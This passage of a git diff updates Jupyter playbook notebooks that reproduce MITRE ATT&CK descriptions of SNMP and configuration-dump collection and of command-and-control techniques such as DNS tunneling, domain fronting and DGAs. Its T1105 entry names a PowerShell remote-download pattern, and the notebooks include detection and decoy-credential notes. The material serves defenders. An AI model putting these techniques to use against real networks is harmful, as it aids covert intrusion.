"cell_type": "markdown", - "id": "7d0733af", + "id": "6f1f10ee", "metadata": {}, "source": "# T1602.001 - SNMP (MIB Dump)\nAdversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) " }, { "cell_type": "markdown", - "id": "aeb6855b", + "id": "c62827b5", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "0a6d7e0d", + "id": "37e665ec", "metadata": {}, "source": "## Detection\nIdentify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1602.002.ipynb b/playbook/tactics/collection/T1602.002.ipynb index cafc84ef..fe68fcc3 100644 --- a/playbook/tactics/collection/T1602.002.ipynb +++ b/playbook/tactics/collection/T1602.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "09dabe26", + "id": "70dcff59", "metadata": {}, "source": "# T1602.002 - Network Device Configuration Dump\nAdversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. " }, { "cell_type": "markdown", - "id": "8072e1b7", + "id": "2fd57583", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "fb9c6896", + "id": "e6c0c1c8", "metadata": {}, "source": "## Detection\nIdentify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration.(Citation: US-CERT TA18-068A 2018)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1602.ipynb b/playbook/tactics/collection/T1602.ipynb index 387bcb10..13d2b0a3 100644 --- a/playbook/tactics/collection/T1602.ipynb +++ b/playbook/tactics/collection/T1602.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "d56a9ab9", + "id": "f3d16ffd", "metadata": {}, "source": "# T1602 - Data from Configuration Repository\nAdversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)" }, { "cell_type": "markdown", - "id": "3fb3b5fe", + "id": "b5722b83", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "8cee3996", + "id": "d0cf6e24", "metadata": {}, "source": "## Detection\nIdentify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)" }, { "cell_type": "markdown", - "id": "e8c03b0f", + "id": "2c04abb0", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Credentials \n Create user credentials that are used for active defense purposes. \n\n Seed a target system with credentials (such as username/password, browser tokens, and other forms of authentication data) for the purpose of engagement. Decoy credentials can be planted in many locations and leveraged in a variety of ways.\n#### Opportunity\nIn order to prolong an adversary engagement operation or enable detections, there is an opportunity to introduce credentials to an adversary that you want them to collect and use.\n#### Use Case\nA defender can plant decoy credentials across an array of locations to increase the chances of an adversary finding and using them.\n#### Procedures\nCreate user credentials for a decoy account, such as 'User ABC'. Store those credentials in the browser and other places on the system to see if an adversary attempts to harvest them.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control.ipynb b/playbook/tactics/command-and-control.ipynb index b4e7b0bd..c0ed559d 100644 --- a/playbook/tactics/command-and-control.ipynb +++ b/playbook/tactics/command-and-control.ipynb @@ -2,14 +2,14 @@ "cells": [ { "cell_type": "markdown", - "id": "054ad268", + "id": "7e29669e", "metadata": {}, - "source": "# Command and Control\nThe adversary is trying to communicate with compromised systems to control them.\n\nCommand and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim\u2019s network structure and defenses.\n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1205.002 | Socket Filters | Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.\nT1205.001 | Port Knocking | Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\nT1573.002 | Asymmetric Cryptography | Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).\nT1573.001 | Symmetric Cryptography | Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.\nT1573 | Encrypted Channel | Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nT1071.004 | DNS | Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) \nT1071.003 | Mail Protocols | Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. \nT1071.002 | File Transfer Protocols | Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. \nT1071.001 | Web Protocols | Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. \nT1572 | Protocol Tunneling | Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. \nT1001.003 | Protocol Impersonation | Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. \nT1001.002 | Steganography | Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. \nT1001.001 | Junk Data | Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. \nT1132.002 | Non-Standard Encoding | Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) \nT1132.001 | Standard Encoding | Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.\nT1090.004 | Domain Fronting | Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\nT1090.003 | Multi-hop Proxy | To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)\n\nIn the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s WAN. Protocols such as ICMP may be used as a transport.\nT1090.002 | External Proxy | Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.\nT1090.001 | Internal Proxy | Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.\nT1102.003 | One-Way Communication | Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nT1102.002 | Bidirectional Communication | Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. \nT1102.001 | Dead Drop Resolver | Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nT1571 | Non-Standard Port | Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\nT1568.003 | DNS Calculation | Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)\nT1568.001 | Fast Flux DNS | Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.\nT1568.002 | Domain Generation Algorithms | Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)\nT1568 | Dynamic Resolution | Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)\nT1483 | Domain Generation Algorithms | Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)\nT1205 | Traffic Signaling | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)\nT1219 | Remote Access Software | An adversary may use legitimate desktop support and remote access software, such as Team Viewer, AnyDesk, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.(Citation: Symantec Living off the Land)\n\nRemote access tools may be installed and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Installation of many remote access tools may also include persistence (ex: the tool's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)).\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns.(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)\nT1172 | Domain Fronting | Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\nT1188 | Multi-hop Proxy | To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\nT1132 | Data Encoding | Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.\nT1105 | Ingress Tool Transfer | Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016)\n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)\nT1104 | Multi-Stage Channels | Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.\nT1102 | Web Service | Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nT1095 | Non-Application Layer Protocol | Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: 